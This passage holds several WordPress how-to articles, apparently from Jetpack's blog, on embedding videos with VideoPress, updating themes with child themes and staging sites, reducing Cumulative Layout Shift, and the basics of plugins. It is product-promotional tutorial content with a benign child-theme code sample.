    For all these reasons, WordPress-specific video hosting options like Jetpack VideoPress often make more sense. They integrate seamlessly with the WordPress Media Library and are usually more affordable.

    Learn more about Amazon S3 and video streaming here

    How to add a video to a WordPress post or page (2 ways)

    Now that you know how to upload a video to WordPress, we’ll show you how to insert one into a page or post. We’ll review two ways you can do this using the Block Editor so that you can easily share videos with your audience.

    Method 1: Using the VideoPress block

    Firstly, let’s see how you can easily use the VideoPress block to add a video to a WordPress page or post. 

    Step 1: Add the VideoPress block

    To begin, you’ll need to create the page or post where you’d like to insert your video. Alternatively, you can navigate to a pre-existing page or post and modify it. Once you’re in the Block Editor, simply click on the plus symbol to Add block.

    "add block" option on a blank page

    Next, use the search tool to look for the VideoPress block.

    VideoPress block in the list of available blocks

    When it appears, click on it, and the block will be added to your page.

    VideoPress block on a page

    Another handy way to add any block to a page or post is by using keyboard shortcuts. For instance, you can type in “/videopress” and access the block that way.

    using a keyboard shortcut to add the VideoPress block

    You can either select the block when it appears or simply hit the enter key to add it to the editing interface.

    Step 2: Add your video and customize its settings

    Once your VideoPress block is on the screen, add your video by selecting Upload, Media Library, or Insert from URL.

    We’re going to go with the Media Library for our example since we already uploaded the video earlier in the tutorial. However, you can also drag and drop your video here to add it to VideoPress. Remember, your videos will be stored separately from your server to improve speed, but will still be visible in the WordPress Media Library.

    uploaded video in the Media Library

    Since the VideoPress block deals with videos, you’ll only see that type of media in your library. When you’ve located the clip you want to use, simply click on it and hit Select.

    block options for VideoPress

    After that, your video will appear on your page. As you can see, the VideoPress block gives you access to a variety of settings. You can enable or disable playback controls, turn on and off autoplay, choose to loop the video, and mute it if you’d like.

    You can also select the dropdown menu next to Progress Bar Colors to change the way that the video’s progress bar appears. There are some other options as well, so feel free to play around until you get the look and functionality that you’re going for.

    progress bar options for VideoPress

    Step 3: Publish and preview your video

    When you’ve finished making your changes, click on Publish in the upper-right corner of your page. Now let’s preview what your video will look like on the front end.

    In this example, we left the progress bar colors setting to Match video. This makes the progress bar blend in, while still remaining functional. 

    Your viewers can make additional adjustments to video speed and quality. Plus, they’ll be able to change to full-screen viewing or create a pop-out window to watch while they scroll.

    Method 2: Using the Video block

    Now, let’s explore how to add a video to a post or page using the default Video block that comes with WordPress. Remember, this will store videos on your server and could cause your site to load more slowly.

    To get started, open up the Block Editor and add the Video block. You can locate the block by clicking on the plus symbol or using keyboard shortcuts.

    adding a Video block to WordPress

    Then, choose your preferred method for adding a video to the block. Again, we’ll insert our clip from the Media Library by hitting Select. The video will now be added to the page.

    options for the Video block

    You should notice that the Video block has some of the same settings as the VideoPress block, though it does provide fewer customization options.

    Once you’ve modified your video block’s settings, click on Publish. Now let’s preview it on the front end:

    preview of the Video block

    As you can see, the progress bar and settings are a bit less discreet, and the video is showing at a lower quality.

    Frequently asked questions

    Hopefully, you’re now comfortable with the basics of uploading videos in WordPress. Just in case, though, we’ll cover some frequently asked questions!

    Can self-hosting my video slow down my WordPress site?

    When you upload large video files to your Media Library without using a tool like Jetpack VideoPress, they’ll occupy space on your website’s server. So, this video hosting option can slow down your website, hindering the overall user experience.

    But this won’t be an issue if you use a video hosting tool like Jetpack VideoPress. This is because the heavy files will be hosted on a separate, more robust server.

    What is the best option to upload a video to WordPress? 

    Using Jetpack VideoPress is hands down the best option to upload a video to WordPress. 

    The plugin provides the best experience for viewers because it can handle and maintain the highest-quality video content. Plus, with Jetpack VideoPress, you’ll never have to worry about ads interrupting your content. 

    Additionally, Jetpack VideoPress is very practical for WordPress creators because it fully integrates with the dashboard and the Block Editor. Lastly, with Jetpack VideoPress, there’s minimal impact on site since your content is served using Jetpack’s global Content Delivery Network (CDN).

    Can I use an uploaded video to build a video header?

    Yes, there are a few ways to use an uploaded video as your WordPress header. You can create this effect using the Cover block or a video plugin. 

    For complete instructions on how to do this, check out the complete tutorial on adding a video background to a WordPress page!

    Where can I learn more about Jetpack VideoPress?

    You can learn more about Jetpack VideoPress on the Jetpack website! Check out the complete list of Jetpack VideoPress features.

    Streamline video uploads in WordPress using Jetpack VideoPress

    Whether you’re an aspiring filmmaker, a talented blogger, or a business owner who understands the value of video, knowing how to add a video in WordPress is key. If you’re not careful, though, your clips can look unprofessional and even slow down your website.

    Fortunately, you can use a video hosting service like Jetpack VideoPress to easily upload videos in WordPress. With Jetpack VideoPress, you can add clips to the Media Library without damaging your site’s performance. Then, you can use the Jetpack VideoPress block to insert your videos into any page or post, with plenty of customization options to improve the viewing experience.

    Are you looking for additional ways to improve your website’s performance? Why not check out Jetpack Complete? This plan offers top-tier performance and security tools for WordPress sites. Plus, it includes Jetpack VideoPress at no additional charge!

  • How to Update Your WordPress Theme (Without Losing Anything)

    Although WordPress themes are typically well-coded, they need regular updates to patch security vulnerabilities and introduce new features. But if you’ve made a lot of customizations to your theme, you might worry that updating it will cause you to lose all of your hard work.

    Fortunately, there are a few easy ways to update your WordPress theme without losing anything. Backing up your site, using a child theme, and testing any changes in a staging environment can help you preserve your settings. Then, you can easily update the theme from your WordPress dashboard, cPanel, or using File Transfer Protocol (FTP).

    In today’s guide, we’ll explore the importance of updating your WordPress theme. Then, we’ll explain the best methods to do this while maintaining any theme customizations. Let’s get to work!

    Why you may need to update your WordPress theme

    Updating your WordPress theme is an essential task. It can enhance your site’s security, introduce new features, and help things run more smoothly. Let’s start by discussing WordPress security

    Security

    The most important reason to update your theme is for website safety. Updates may include security patches that reduce vulnerabilities on your site. If you stick with the older version, you could expose yourself to threats. Because WordPress themes are often open source, anyone could examine your theme’s code and search for possible weak points. 

    Any known security issues will generally be published in the theme’s support forums and changelogs. Therefore, hackers can use this information to identify problems and break into your site.

    In 2021, critical security vulnerabilities were identified in more than 50 WordPress themes. These vulnerabilities exposed users to various attacks, including Cross-Site Scripting (XSS), Remote Code Execution (RCE), and SQL injections. 

    That’s not to say that WordPress themes are inherently unsafe. Developers continually work on the software to improve and protect it. 

    Keeping your theme up-to-date can go a long way towards securing your site. It’s also important that you download themes from reputable sources, and only choose ones that have a number of positive reviews and are compatible with the latest version of WordPress core. The WordPress.org theme repository, for example, is chock full of excellent, free options that are heavily reviewed against WordPress’ coding best practices.

    New features

    From a design perspective, updating your theme can unlock new settings and built-in configuration options. For example, an update might include new blocks or block patterns that you can use across your site. 

    Taking advantage of built-in features means you won’t need to rely as much on third-party plugins and custom CSS. So, you can design the site you want with less time and expense.

    Compatibility

    Finally, themes are often updated for compatibility with WordPress core. Since new versions of core are typically released two or three times a year, theme developers will test their themes against WordPress and update them accordingly.

    This ensures that the software won’t cause bugs, slow down your site, or even break some features. As such, keeping your theme up to date is essential if you want your website to perform at its best. 

    What to do before updating your WordPress theme

    If done incorrectly, updating your theme can mean losing hours of hard work and design customizations. Fortunately, there are some precautionary steps you can take to safeguard your edits. 

    Back up your site

    Backing up your website is a general best practice. If something goes wrong during an update (or any other time), you can simply restore an older version of your site while you troubleshoot and resolve the issue. 

    Fortunately, it’s very easy to create copies of your site with Jetpack VaultPress Backup.

    Jetpack VaultPress Backup homepage with the tagline, "The best real-time WordPress backup plugin"

    Jetpack VaultPress Backup works in real-time, saving every change you make as it happens. The backup is stored off-site, so even if your site goes completely down, you can access and restore it right away. 

    Plus, Jetpack has a WordPress activity log that tracks every action taken, so you can quickly identify the point to which you want to restore.  

    To restore your WordPress website to an earlier version, simply navigate to Jetpack → Backup in your WordPress.com account. Then, you can click through the different days and select Restore to this point for the backup you’d like to use.

    restoring a backup with Jetpack VaultPress Backup

    Or, you can choose an event in your activity log — like a theme update — and restore to just before that occurred.

    restoring a backup from just before an action took place

    Make sure theme customizations are in a child theme

    If you want to edit and customize your WordPress theme, you’ll need to create a WordPress child theme first. The “child” inherits the configuration files, templates, and stylesheets of its “parent,” but WordPress will treat it as an independent theme.

    Any changes you make to the child won’t affect the parent. Plus, updating the parent theme will apply security patches and other upgrades to the child without overriding any custom code you’ve added. 

    If you’re not already working with a child theme, it’s worth making one now. You’ll first want to create a complete backup of your WordPress site

    Then, access your website via File Transfer Protocol (FTP) and head to the root directory (typically called public_html, public, or www). Open wp-content/themes and create a new folder for your child theme. Consider naming it after the parent theme, with “-child” at the end.

    creating a child theme folder

    Inside the folder, create a new text file and name it “style.css”. Next, add the following code to it, updating the information where relevant:

    /*
    
    Theme Name: The name of your theme goes here
    
    Theme URI: http://example.com/twenty-twenty-two-child/
    
    Description: The description of the child theme goes here
    
    Author: John Doe
    
    Author URI: http://example.com
    
    Template: twentytwentytwo
    
    Version: 1.0.0
    
    */

    When you’re ready, save and close the file. Then, create a new file and name it “functions.php”. Add this enqueuing script to it so that WordPress knows how to load the stylesheets in your child theme:

    <?php
    
    add_action( 'wp_enqueue_scripts', 'enqueue_parent_styles' );
    
    function enqueue_parent_styles() {
    
    wp_enqueue_style( 'parent-style', get_template_directory_uri() . '/style.css' );
    
    }
    
    ?>

    Finally, head to Appearance → Themes in your WordPress dashboard. Find your child theme and click on Activate. It’s now ready for you to use and customize. 

    Consider testing theme changes on a staging site

    A staging website is a copy of your site where you can safely test changes. Any edits you make to the staging environment won’t affect your live website. Then, once you’ve determined that it’s safe to proceed, you can ‘push’ any changes online, where they’ll be visible to anyone who visits your site. 

    Using a staging site is a practical choice from a User Experience (UX) point of view. Playing around with your website while it’s online can cause inconvenience and confuse visitors who may not be able to access particular features. 

    Additionally, utilizing a staging site can show you if a theme update will cause problems. Then, you can avoid pushing the changes live until you have a solution. 

    When running your tests in a staging environment, it’s worth following these steps:

    1. Check for theme compatibility. First, you’ll want to ensure that the theme update has been tested with the version of WordPress you’re running on your site. You may also need to update WordPress core first if you’re using an older version. 
    2. Put Jetpack into “safe mode.” If you’re using the Jetpack plugin, this helps ensure that your connection isn’t broken when setting up a staging site.
    3. Update the theme. You can check out the methods outlined later in this guide to see how to do this. 
    4. Test the site’s functionality. This is the most important part of the process. Consider testing your site’s menus, other navigational elements, forms, and online store. You can also scan your website for visual problems by viewing your posts, pages, and custom post types. 
    5. Verify issues in support forums. If you run into any problems, head to the official WordPress support forums for the theme. There might be known issues that developers are working to resolve. 
    6. Report problems to the theme developer. If no one else has the same issue, it’s a good idea to contact the theme developer. This way, they can fix it for you and all other users. 
    7. Push your changes live. Finally, if everything is looking good, it’s time to push the update live.

    Don’t worry if you don’t already have a staging environment in place. Let’s look at a few easy ways to create one:

    Create a staging site with your web host

    Depending on which WordPress hosting provider you choose, you may have access to a free or paid staging environment. 

    For instance, Bluehost offers staging functionality within your WordPress dashboard. If you have the host’s plugin enabled, head to Bluehost → Staging.

    staging options with the Bluehost plugin

    Now, select Create Staging Site.

    blue button with the words, "Create staging site."

    Bluehost will take a few minutes to create a staging website. It will be a complete copy of your existing site, but any changes you make won’t affect your live page. 

    You can access your staging site by clicking on the circle to the left of its name.

    URL of the new staging site

    Then, you can apply any edits to your live site by hitting Deploy All Changes on the right-hand side. 

    Make a staging site with a plugin

    The Jetpack plugin also enables you to make a staging environment. You’ll simply need to clone your site, import it into a local environment or subdomain, and then work on the website there. This documentation can walk you through the entire process. 

    Alternatively, you could opt for a staging plugin like WP Staging. This free plugin helps you clone your website and work on it safely.

    WP Staging plugin hero image

    Once you’ve installed and activated the plugin in your WordPress dashboard, head to WP Staging → Staging Sites → Create New Staging Site.

    WP Staging step 1, with the option to create a new staging site

    You can then select specific database tables and files or just click on Start Cloning to copy your entire site.

    Step 2, with options for choosing files and database tables

    WP Staging will take a few minutes to clone your website and create a staging environment. Then, it’s ready to go!

    How to update your theme in WordPress (3 methods)

    Now let’s get into the main part of this tutorial. Before running any updates, you should consider the best time of day for this process. 

    Although a theme update takes just a few moments, it could cause temporary glitches on your site that inconvenience visitors. Additionally, if a new software version causes major problems, you don’t want to be scrambling to fix them during an influx of traffic.

    Your first instinct might be to run a theme update in the middle of the night. But, this may not be the best approach if most of your visitors come from a different time zone. 

    You may want to consider using Google Analytics to see when most users come to your site. Then, simply run your theme updates during a quiet period. 

    1. Update your theme using the admin dashboard

    Updating a theme via the WordPress admin dashboard is a very straightforward process. Simply head to Dashboard → Updates and scroll down to the Themes section.

    list of themes with available updates

    Here, tick the checkbox next to your theme and click on Update Themes. The process should complete in a couple of seconds.

    Alternatively, you can find available theme updates under Appearance → Themes. Any outdated themes will have a banner message:

    updates available for three themes

    Simply click on Update now above the applicable theme, and wait a few moments for WordPress to run the update. 

    If, for any reason, this method doesn’t work, there is another option you can take from within the WordPress dashboard:

    1. Go to Appearance → Themes → Add New.
    2. Upload the zip file of the latest version of your current theme. For example, you can update the Twenty Twenty-Two theme by uploading a new copy downloaded from WordPress.org.
    3. Click Replace active with uploaded when prompted.

    2. Update your theme manually via FTP

    Sometimes, you may be unable to update your premium or custom theme from the WordPress dashboard. For instance, if you purchased a theme from outside the WordPress theme repository, it might not add its updates to your dashboard. Fortunately, you can use an FTP client to run the updates.

    Firstly, you’ll need to download the latest version of the theme onto your computer. It should download as a .zip file, so you’ll also have to extract it.

    Next, connect to your website using an FTP client. If you don’t have one installed, FileZilla is a free and user-friendly option. It will ask you for your FTP credentials, so make sure to have them handy, too. 

    Then, head to wp-content → themes.

    selecting the Themes folder

    You may want to download a copy of the existing folder for your theme in case something goes wrong. Then, simply replace it with the unzipped folder you just downloaded. This will override the existing theme files, applying the updates to the theme. 

    3. Update your theme using cPanel

    If your hosting provider uses cPanel, you can also use this application to change your WordPress theme or update it. Again, you may need to use this method if you’ve purchased a premium theme that doesn’t add its updates to the WordPress dashboard.

    Like the previous method, you’ll need to download the latest theme version and unzip the files. Then, log into your hosting dashboard and locate cPanel. You’ll then need to open File Manager.

    selecting the File Manager option

    Now, go to public_html → wp_content → themes. 

    Themes folder inside of wp-content

    Inside, you should see a folder for the theme you want to update. Right-click on it and select Compress to download it as a .zip file to your computer. This way, you’ll have a functional version to restore if you make a mistake.

    Compress option for a folder

    Delete the theme folder and upload the downloaded folder containing the updated theme. When you navigate back to your WordPress dashboard, your site should now be running the latest version of the theme. 

    How to undo a WordPress theme update

    Rolling back or undoing a theme update will revert it to the previous software version. You might need to do this if the updated theme causes problems on your website. 

    If you have a working backup of your WordPress website, you can simply restore it to this version. With Jetpack VaultPress Backup, you’ll just have to open your site with WordPress.com and navigate to Jetpack → Backup

    Then, find a copy of your site that has the older version of the theme, and click on Restore to this point.

    If you don’t have a website backup, a plugin like WP Rollback can help you out. Install and activate the plugin, then head to Appearance → Themes. Click on the theme to see its details, and select Rollback in the bottom-right corner.

    option to roll back a WordPress theme

    You can now choose which version of the theme you’d like to reinstate.

    WP Rollback options

    Click on the circle next to the software version, then select Rollback. The plugin will take care of the rest. 

    Keep in mind that this plugin only works for themes downloaded from the WordPress.org theme Repository. If you have a premium theme and didn’t back up your site, your only option is to manually roll back the update.

    In this scenario, you’ll need to download the previous version of your theme as a .zip folder and unzip the files. Then, connect to your site via FTP or File Manager to replace the current theme folder with the older one. We covered this method in the previous section of the article. 

    Frequently asked questions about updating your WordPress theme

    By now, you should have a good idea of how to update your WordPress theme. If you still have questions about the process, we’ll answer them in this section. 

    Why should you update a WordPress theme?

    Updating a WordPress theme can secure your site by patching over security vulnerabilities within the code. Additionally, theme updates may contain new features or settings that give you more control over your theme’s appearance. 

    Finally, since WordPress core is also updated frequently, new theme versions ensure compatibility with the core software. 

    What happens when you update a WordPress theme?

    Updating a theme involves installing the latest software version. The old theme files will be replaced with new ones during this process.

    Any minor adjustments you’ve made within the theme’s built-in settings should carry over with the update, but custom code will be deleted and lost. For this reason, it’s advisable to back up your theme and make custom edits within a child theme before running any updates. 

    Can I set my WordPress theme to update automatically?

    You can set up automatic updates for your WordPress theme. This setting will save you time since you won’t have to manually upgrade the software. Moreover, you’ll immediately have access to security patches and other benefits. 

    As always, you’ll want to make sure that you’re also backing up your site if you enable automatic updates. Then, you’ll have a functional version of your website on hand if the new software causes problems. 

    In your WordPress admin dashboard, navigate to Appearance → Themes and click on the theme you want to automatically update. Now, select Enable auto-updates from the side menu.

    option to enable auto-updates for themes

    Depending on your host, you may also have theme updates enabled by default. Many hosting providers will automatically update software to save you time and energy. You can then manage these settings from your hosting dashboard.

    turning on automatic theme updates within Bluehost

    In many cases, you’ll just need to toggle a setting to enable and disable automatic theme updates. 

    What if a WordPress theme update gets stuck?

    Occasionally, a WordPress theme update can get “stuck.” This means it will keep trying to update but times out before completing the process. It may even break your site during the process. 

    The easiest solution here is to restore a backup of your WordPress site and then run the update again. If the update continues to get stuck, there are a few simple fixes.

    For starters, consider clearing your browser and server-side caches. There might be files interfering with the update process. Then, reload the page and try running the update again to see if it works.

    The update could also be timing out due to a lack of resources. This is common if you’re using a shared hosting plan. In this scenario, make sure you’re only running one update at a time (rather than multiple themes and plugins simultaneously). 

    The update may also be stuck because it’s only partially complete. In this scenario, you can access your website via FTP, delete the theme folder, and replace it with a downloaded folder from WordPress or the marketplace where you bought the theme. We explained this process in-depth earlier in the post. 

    Update your WordPress theme today

    WordPress theme updates can introduce security fixes, new features, and advanced functionality to your website. Unfortunately, updates can also override custom edits you’ve made or cause problems on your site. 

    Therefore, you’ll want to save a backup and create a child theme before upgrading a theme. It’s also worth testing any changes in a staging environment before pushing them live. Then, updating your theme is simply a matter of clicking a few buttons in your WordPress admin area, accessing your website via FTP, or using cPanel in your hosting dashboard.

    Before updating your WordPress theme, you’ll need to make sure that you have a functional backup in place. With Jetpack VaultPress Backup, you can save copies of your entire website and restore them in seconds. Learn more about Jetpack VaultPress Backup today!

  • How to Fix Cumulative Layout Shift (CLS) on WordPress

    Search engine optimization (SEO) is an ever-changing game without an instruction manual. There’s much more to optimization than just adding keywords into your content. Search engines like Google also take into account indicators of a quality, safe web experience — like how fast your site loads, how easy it is for visitors to interact with it, and more. 

    Cumulative Layout Shift (CLS) is a metric used by Google to measure how much a web page rearranges as it loads. A site that moves significantly — causing users to click the wrong link or have trouble reading content — provides a bad user experience and is frowned upon by Google. 

    Reviewing your site’s CLS score and other Core Web Vitals can help you identify ways to improve its overall health and, in turn, boost your rankings!

    This article will explain the causes of CLS, why you should minimize it, and some methods to reduce it. 

    What is cumulative layout shift?

    Cumulative Layout Shift (CLS) measures the severity of movement on a web page as assets load. You’ve probably noticed that sometimes when you open a website, images and videos can appear at different times and push around other content as they load.

    Here you can see CLS in action:

    images not loading on the GameStop website, a good example of CLS in action

    Bad CLS scores, especially paired with long load times, can be frustrating for visitors. Few things are more aggravating than accidentally clicking an ad because the page suddenly moved underneath your cursor. 

    How does CLS impact user experience on a WordPress site?

    Shifting can be annoying when navigating a web page. It can cause text to jump around as you’re trying to read, buttons to move as you go to click on them, and accidental clicks on ads or links when you want to interact with something else. 

    If visitors have to wait several seconds for a page to fully load and fight with shifting elements, they might simply leave your site. This is especially true if all of your pages shift severely. Visitors are likely to bounce after a few misclicks or excessive wait times. 

    What affects your CLS score?

    A poor CLS score results from major site elements causing other parts of the page to shift as they load. The worst culprits tend to be photos, videos, and ads because these things often load more slowly than text and may have to adjust based on screen sizes. 

    And while decreasing load times can improve your overall UX, this won’t actually reduce the amount of shifting, just mitigate the effects.

    Here are four factors that can affect your CLS score:

    1. Images and videos without size attributes

    Without preset size attributes, visual content like images and videos will often load in smaller placeholders. This means that content around the placeholder will initially take up the ample available space afforded by the small placeholder. Then, when the image arrives, it takes up more space and shifts around neighboring elements. 

    By setting size attributes, the placeholder takes up the same space as the element. So, it loads in the same area and doesn’t affect the placement of nearby content. 

    In the following picture, you can see some early elements loading on the GameStop homepage:

    blank page on the GameStop website

    The images load a few seconds later, pushing the Top Sellers heading down and out of sight. This is a prime example, with fast-loading text being moved around when slow-loading images populate without preset boundaries.

    fully-loaded hompage of GameStop

    This scenario is precisely what you’ll want to avoid or minimize on your site. 

    2. Ads and embeds without size attributes

    If you sell or display ads on your website, they’re likely in image or video format. Like in the example above, if these ads load without size attributes, they probably hit the page later than other content and shift things around. 

    This is especially true for some third-party services that choose advertisements for you. These ads may not always be the same size or fit in the same space. 

    A small graphic might not be a problem. But if a large video ad loads slowly and takes up a lot of space, it could force other elements on your page to move dramatically. 

    Optimizing ads and embedded content to load quickly can reduce the annoyance, though your CLS score will still suffer. Layout shifts that cause visitors to click on your site’s ads inadvertently may leave them feeling tricked and hurt their chances of returning. 

    3. Custom fonts 

    Custom fonts have to be hosted somewhere — like your web server, for example. You’re unlikely to see the Didot font offline (unless you find an old French book). This font offers a formal, elegant feel and is an excellent option for upscale restaurants or antique-related websites.

    Didot font showing a variety of letters

    But since this font is being pulled from somewhere other than the browser, it needs to be downloaded each time a visitor accesses the site. This setup may prevent text from appearing until the font is downloaded. Then, the font can suddenly appear, likely jumbling up any assets already loaded on the page. 

    Another option is to load all the text in a more basic font, like Serif. Then it will be replaced with Didot once it loads in the browser. Since the letters of different fonts don’t usually take up the same amount of space, the font change will shift the text around, pushing or pulling neighboring elements in the process.

    These shifts will increase a CLS score, so it’s in your best interest to avoid them. Luckily, some workarounds allow you to still use custom fonts while solving load time delays. We’ll take a closer look at these methods later in the post. 

    4. Dynamically-injected content

    Dynamically-injected content is a web page element that can change based on certain factors. Often these factors depend on the user, allowing for a more personalized experience.

    For example, an online store may suggest products based on a visitor’s history. A weather website might use the location data of a user’s device to display results for that area.

    Dynamic content can increase conversions with a more relevant experience and product offers. Still, its reactionary nature can be resource-taxing and lead to layout shifts. 

    As in the weather example above, different weather information, the name of the city, or even the language used will take up varying amounts of space on the page. A town with sunny skies and mild weather might be a much simpler entry than a city in the crosshairs of a coming hurricane. 

    The result is that less content will load in the former example, and more will load in the latter, affecting how neighboring elements are shifted on screen. As with any dynamically-injected content that can vary in size or quantity, this will impact the CLS of the page. 

    How to reduce Cumulative Layout Shift on WordPress

    Now that you know the primary contributors to layout shifts on WordPress, you can work towards reducing their impact. 

    As with any time you make fundamental changes to your website, it’s wise to create a backup and use a staging site to catch problems before they go live. 

    Below, you’ll find solutions to reduce CLS and improve your site’s user experience.

    1. Set dimensions for images and videos

    When using images and videos alongside other elements on a page, consider assigning them width and height attributes. These settings will reserve the graphics’ required space and avoid shifting. 

    Fortunately, setting dimensions is very easy in WordPress. Simply click on your embedded image and adjust the Image dimensions to the appropriate values:

    setting dimensions for an image in WordPress

    You can also use aspect ratio boxes to allocate the space for visual elements with CSS before they load. These boxes will have the same effect as set dimensions, reducing layout shifts by pre-assigning the space for images and videos. 

    2. Set dimensions for ads and embedded content

    Like in the step above, you should consider creating space for ads and other embedded content that can cause page shifts. You can do this by setting dimensions for these elements or using CSS to allocate space.

    When ads are populated by third parties, their dimensions can be challenging to predict. So, you can try to estimate an amount of space to set aside and box it out so other content won’t overlap as the ad loads. 

    This setup may result in extra white space around smaller ads. Still, that’s usually better than large ads (that often take longer to load) dramatically moving other elements on your page.

    3. Use fallback fonts to reduce layout shifts

    Earlier, we discussed custom fonts and how they can cause shifting. One possible solution here is to use the ‘font-display’ attribute to match fallback fonts as closely as possible. 

    Browsers load fallback fonts when the custom fonts defined on your site aren’t immediately available. So, while your custom font loads, it will display the fallback fonts that you set. If you match these as closely as you can, the text won’t shift as much when the custom option does load.

    The Font Style Matcher app can be very helpful here. You can select your custom font and fallback font, then preview them on top of one another and make style adjustments as needed. You can even check the box next to “See layout shift due to FOUC” and it will show you how much the page will shift as the font loads.

    comparing two fonts on top of one another

    4. Set placeholders for dynamically-injected content

    Dynamically-injected content can be a helpful feature, but you must implement it strategically to avoid causing layout shifts. The key is to allocate enough space to fit the largest version of the injected content without spilling over and shifting neighboring elements around. 

    You can simplify this process by making all the injected content the same size or as similar as possible. This setup can prevent different results requiring different amounts of space on the page. 

    The actual method for allocating space will depend on the content and approach for injecting it. But it usually requires adding a fixed position and preset boundaries for the assets being loaded.

    How can I measure my WordPress site’s CLS score?

    Since CLS is a significant part of your website’s Core Web Vitals, most site health reports or monitoring tools will highlight it. Below are some of the best options for checking out your site’s CLS score:

    1. PageSpeed Insights

    PageSpeed Insights is a simple resource that provides a report on Core Web Vitals. Simply type in a URL and it will analyze several components, score them, and offer tips for improvements.

    PageSpeed Insights reports, including CLS score

    PageSpeed Insights can run the report for mobile and desktop devices so that you can identify weaknesses on your website for all kinds of visitors. You can also view a treemap for a detailed visual breakdown of performance issues on your site. 

    2. Google Search Console

    Google Search Console is a report generator from Google focused on your site’s health as it pertains to search results. Like with PageSpeed Insights, you can view reports for your site’s mobile and desktop versions with metrics like FID, LCP, and CLS. 

    To use Google Search Console, you’ll first need to verify ownership of your domain. Then, the report will flag poorly-performing aspects of your site, allowing you to pinpoint and solve them.

    3. Lighthouse

    Another Google tool for assessing page quality is Lighthouse — and it’s easy to use for anyone using the Google Chrome browser. It monitors websites in real-time for accessibility, performance, SEO, and more. 

    You can find Lighthouse by going to your Google Chrome browser settings, hovering over More tools, and selecting Developer tools at the bottom.

    Then, you’ll need to expand the menu at the top and choose Lighthouse. From there, you can run the report for the page you’re currently viewing.

    Just select the options you want and click on the Generate Report button.

    CLS report for the GameStop site

    You’ll see color-coded scores at the top for each of the primary metrics. Then, click on each one and scroll down to see a detailed analysis and opportunities for improvement. 

    How can I easily optimize my CLS score right now?

    Using the tools and tips above, you can identify weak points in your Core Web Vitals, including CLS. Once you start fixing some of these issues, your site health will improve, and you can learn how to avoid similar problems in the future. 

    Utilizing these solutions will ensure your CLS score remains in good standing, improving your site’s SEO and UX. You can also use the reports to target other Web Vitals scores like LCP and FID until everything comes back green!

    Other ways to improve Core Web Vitals in WordPress

    With Jetpack Boost, you can monitor and improve your Core Web Vitals and other performance metrics directly from your WordPress dashboard.

    settings for Jetpack Boost

    It scans your website and returns a performance report with areas for improvement. But it goes beyond recommendations with one-click solutions for common issues that can slow down your site and hurt your user experience. 

    How to get started with Jetpack Boost

    To get started, simply install Jetpack Boost from the WordPress Plugins page (it’s free).

    Jetpack Boost in the WordPress plugin repository

    Once the tool is activated, select Boost from the Jetpack tab on the left-hand side of your dashboard.

    You’ll now see a performance score for your site on mobile and desktop devices.

    Jetpack Boost performance scores

    Further down the page, you can turn on additional performance optimization settings, such as CSS loading, deferring non-essential JavaScript, and lazy image loading. Each of these configurations can improve your Core Web Vitals scores. 

    Frequently asked questions 

    Below are some frequently asked questions and answers about CLS on WordPress that may be useful as you dive in.

    What is a good CLS score?

    Anything below 0.1 is considered a good CLS score.

    This number is the difference between the original loading site and the final placement of an element. The score is cumulative, meaning it uses multiple instances from different elements.

    Scores between 0.1 and 0.25 are considered okay and need improvement. Any scores above 0.25 are poor. They suggest that CLS is negatively impacting the usability of your site.

    What if a layout shift is unavoidable?

    Sometimes, a small layout shift may be difficult to avoid due to a lack of knowledge or simply the nature of an element on your page. Don’t worry!

    A few layout shifts here and there shouldn’t significantly impact your site. After all, CLS is a rating compiled from the entirety of the page. Even if your score isn’t a flat zero, a few minor instances can still give you a good overall rating.

    Shifts may simply not be possible to solve on some pages. Again, a minor blemish on your site’s overall UX shouldn’t be a major cause for concern. 

    Do user interactions affect Cumulative Layout Shift?

    No! Browsers calculate CLS, and they should explicitly ignore user-driven shifts. Requiring a user action before loading variable content can actually be a helpful trick to help avoid CLS in some situations. 

    For instance, say you use dynamically-injected content to load a map of nearby stores for visitors. If this happens automatically, the time to pull the user’s location data and load the map could cause a layout shift. But if there’s a button that the user must click to load the map, this interaction will prevent the layout shifts from affecting the page’s CLS score. 

    Improve Cumulative Layout Shift on WordPress

    Now that you know how to fix Cumulative Layout Shift (CLS) on WordPress and how to measure it, you can improve your website’s SEO and UX. Reducing shifts will make navigating your website more pleasant for visitors and should also boost your rankings on the search engine results pages. 

    To minimize your CLS score, remember to:

    1. Set dimensions for images, videos, ads, and other embedded content.
    2. Reduce shifts in fonts upon loading
    3. Set placeholders for dynamically-injected content.

    While Cumulative Layout Shift is just one factor that affects your site’s SEO, it’s also a noticeable UX consideration. A little work can have lasting improvements in your search rankings and the visitor’s experience once they arrive. 

  • What Are WordPress Plugins? How to Use and Install Them

    If you use WordPress to build and manage your website, you know about its powerful built-in features and ease of use. But did you know that you can add extra functionality and power up your website by using plugins?    

    We’ve put together this comprehensive guide to help you navigate the world of plugins. Read on as we explore what WordPress plugins are and answer common questions about how to find, use, and install the perfect ones for your site. 

    What are plugins in WordPress?

    Plugins are pieces of software that work on top of WordPress to extend its functionality. Anyone from a single talented developer to a large organization or WordPress.com-backed team can create and submit a plugin to the WordPress repository. It’s a community-wide effort to share newly-developed features with others. 

    There are tens of thousands of plugins available, and you can use them to add a wide range of features and extend your WordPress experience. For example, you can use plugins to speed up your site, block spam, increase your site’s security, and add a fully-functional ecommerce store to your website. 

    Are WordPress plugins free, or do they have a cost?

    There are both free and premium WordPress plugins available. Some premium plugins also offer free versions of their software with limited features. While free plugins are often useful, premium plugins tend to offer the best reliability, usability, and security, as a dedicated team of developers typically works full-time on creating, maintaining, and supporting the tool.

    Is there a directory or list of WordPress plugins?

    The WordPress repository is the largest directory of open-source WordPress plugins, currently holding more than 60,000 options. This makes it the perfect place to start when searching for a plugin to add a feature or tool to your site. Any developer can submit their plugin for inclusion in the directory, and the WordPress team manually reviews each submission. All plugins in the WordPress.org directory are free to download, but some may offer additional premium features or functions.

    You can access the directory and add plugins to WordPress from within your admin dashboard by clicking on Plugins → Add New. You can also visit the directory and download a plugin that you can then upload to your site.

    Where are plugins located in the WordPress dashboard?

    You can see the plugins that are currently installed on your WordPress site by clicking on Plugins → Installed Plugins in your WordPress dashboard.

    Any plugin highlighted in blue is currently active.

    list of installed plugins in the WordPress dashboard

    You can change the view to see only active, inactive, or recently active plugins by using the filters at the top of the page. 

    filters available for WordPress plugins

    How to check if a WordPress plugin is safe

    One of the best ways to ensure you use safe WordPress plugins is by always finding and downloading them from reputable sources, like the official WordPress plugin directory. All plugins are manually reviewed before being listed. You should also make sure the plugin is regularly updated and compatible with your version of WordPress, so you know the developers will quickly address any security vulnerabilities or issues that may arise in the future.

